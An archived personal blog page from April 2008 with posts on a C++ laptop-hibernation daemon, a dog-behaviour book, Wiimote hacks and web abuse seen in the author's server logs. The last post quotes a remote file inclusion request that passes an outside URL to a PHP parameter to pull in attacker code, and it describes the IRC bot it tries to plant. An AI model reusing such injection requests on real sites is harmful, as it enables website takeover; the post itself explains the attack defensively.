Archive for April, 2008

C++ Hibernate Daemon

Wednesday, April 30th, 2008

I use Fluxbox window manager on Ubuntu Linux where I don’t have all the bells and whistles of GNOME or KDE.

so I thought I’d make myself a daemon program that will automatically put my computer to hibernate when my laptop battery is almost empty

usually I take care that my battery doesn’t get to the red zone but this is for those few cases I forget

I wrote this small programm in C++

why c++

well because I don’t programm in c++ and I found it interesting to do so :)

main.cpp looks like this

so, you see the locations of the info and state file for the laptop battery, the percent at which we go to hibernation (I’ve set it to 12%), and the sleep interval before checking the battery state again (10 seconds)

I use my own hibernate script but you could use something like /usr/sbin/hibernate

you can change all of these

in the main function you can se that:

  • we work only as a root user
  • we daemonize (detach from the terminal and run in background)
  • instantiate a worker class object
  • and do our work :)

and what is our work? check out this picture

worker.cpp

well we get the battery total capacity and current capacity and then we calculate the percent

if the percent is less that what I want (12%) then I want my laptop to go to hibernaton

but I also made a security check (that you can remove if you like)

that makes sure my laptop doesn’t go twice into hibernation in succession

why did I do that?

well because I parse data from some files I have no influence over

and those files can change their format anytime

so this is just a precaution

I have a simple makefile that compiles this code, copies it to /usr/local/bin/medved (medved in my language means a bear and bears hibernate ;) ) and adds an entry to /etc/rc.local so that it starts next time you reboot your box automatically

you can also start it by hand and see how it works before the reboot

and that’s it, now I have a daemon that puts my laptop to hibernation before my battery runs dry

I’ve published the source code under GPL licence version 3

you can get source code here

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Reddit
  • Slashdot
  • StumbleUpon
  • Technorati
  • YahooMyWeb

Cesar’s Way

Tuesday, April 29th, 2008

finally, I have read a non computer related book ;)

this time it’s a book about the dogs called Cesar’s Way by Cesar Milan

and it’s not a dog training book as I thought, it’s a dog behavior book, a dog psychology book

my dog, Tony, is getting a bit old and I’m trying to use the few years he has left the best way I can

and prepare for a new dog…

now the good thing is that I am the calm assertive pack leader that book describes

I newer knew I should describe myself in those words (with English not being my native language) but that’s it

and that’s a good thing

Cesar advocates three things that are important for a dog, exercise, discipline and affection, in that exact order

well my dog has always had a big back yard but as I found out by reading that book that is not enough

I should have walked him

he’s got this problem with his neck, probably because he ate something years before, maybe a chicken or a fish bone

I took him to a veterinary but they were unable to find the source

because of that, he coughs when I put a leash on him

so I can’t really use leash to train him

he’s spent all his life in my back yard and walking the street in front of my house but he never got outside of that except for veterinary visits

I’ve been taking him lately with me in the car for a ride to get him used to the outdoors

the first time he threw up, but now he’s relaxed a bit

he got his discipline from the start, we’re like Cesar’s Mexican people, we tell the dog where his place is in our family

so, no problem with that

the kids, the neighbors, love him and bring him food

and he gets the affection

so he’s very obedient, a bit shy

anyway, Cesar’s book has helped me understand dogs better, understand how they work and how we should live with them

I recommend it :)

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Reddit
  • Slashdot
  • StumbleUpon
  • Technorati
  • YahooMyWeb

Wiimote Fun

Saturday, April 26th, 2008

today, a friend sent me to a link to see a guy having fun with wiimote

wow!

actually it is simple

the wii remote has a infrared detector and you use something that emits or reflects infrared light

the efects he’s doing with it are remarkable, take a look for yourself

and here’s the link to Johnny Chung Lee website

http://www.cs.cmu.edu/~johnny/projects/wii/

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Reddit
  • Slashdot
  • StumbleUpon
  • Technorati
  • YahooMyWeb

Internet Bad People

Tuesday, April 15th, 2008

there are bad people everywhere and internet is no exception

wherever there are people, there are good and bad people

lets talk about bad people on the internet misusing osadmin.com

what do they do?

a couple of things

some do referrer poisoning

it’s a technique where they visit your website or just ask for parts of it (images etc.) using fake referrers

why do they do it?

well they hope their website (or their website URL) will turn out in your web statistics software and you’ll click there

they’re just spammers that want you to go there and read an ad or possibly get infected by a virus or similar

next there are people who steal your content

I said on my website that all of this is copyrighted by me

but they have automatic bots, programs, that search the web for blogs and other stuff and steal content

some of them, the more decent ones, just use like 2 lines or so from my website and link to my website

but some of them use all the text from a blog article without mentioning the source

like this one

Host: 70.94.6.217 /mire_blog/wp-includes/images/smilies/icon_smile.gif
Http Code: 200 Date: Apr 14 22:27:48 Http Version: HTTP/1.1 Size in Bytes: 174
Referer: http://weblog.xanga.com/lyudi/652178887/waiting-the-water.html
Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322)

here you see his ip address, the url he tried to open on my website (the smiley icon), date when he did it and the referrer
when you actually go there you see my content without the link to my website but before that, he grays the screen and asks for your email address so he can spam you a bit more
oh yeah, and that user agent (mozilla etc.) is fake also

and then there are those who try to break my website by using wordpress crack programs
they are called script kiddies because they use cracking programs somebody else wrote
most of them are teenagers that instead of getting high by thinking about chicks get high on breaking and destroying other people’s websites ;)

now, here’s an example

/category/rss.php?phpraid_dir=http://mcleanmkting.com/catalog/images/default/iyes.txt??
Http Code: 302 Date: Apr 15 01:28:10 Http Version: HTTP/1.1 Size in Bytes: 468
Referer: -
Agent: libwww-perl/5.808

here you see this client asked for my rss and he provided a parameter called phpraid_dir with the url http://mcleanmkting.com/catalog/images/default/iyes.txt??
that means he tried to use that url as an include file in my website script
that is not a text file but a program, a php file that tries to see which of the shell commands work on my system
in also reports which operating system I am using, disk free space etc.

then, it tries to load a perl script from the url http://mcleanmkting.com/catalog/images/default/hai.txt using various download methods because they don’t know which ones work on my system

this perl script is meant to take over the website and to report to the cracker on IRC so he can use the IRC to control my website ;)

the program accepts instructions from nicks sec or SNapper and it communicates with them via IRC private messaging

it’s got a watcher for milw0rm rss feed, tcp/udp flooder, portscan, log destroyer, emailer etc.

I’m a programmer/sysadmin so those tricks will not be so successful on me/my website as they might be on the others because I update my software and track my website activity

I’ve always been a whitehat, meaning I try to make websites work and I write code to do some work

instead those people are blackhat, crackers trying to destroy your website for their own personal benefit

and they’re getting worse by the day

I hope this has been informative, check back osadmin.com for more later

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Reddit
  • Slashdot
  • StumbleUpon
  • Technorati
  • YahooMyWeb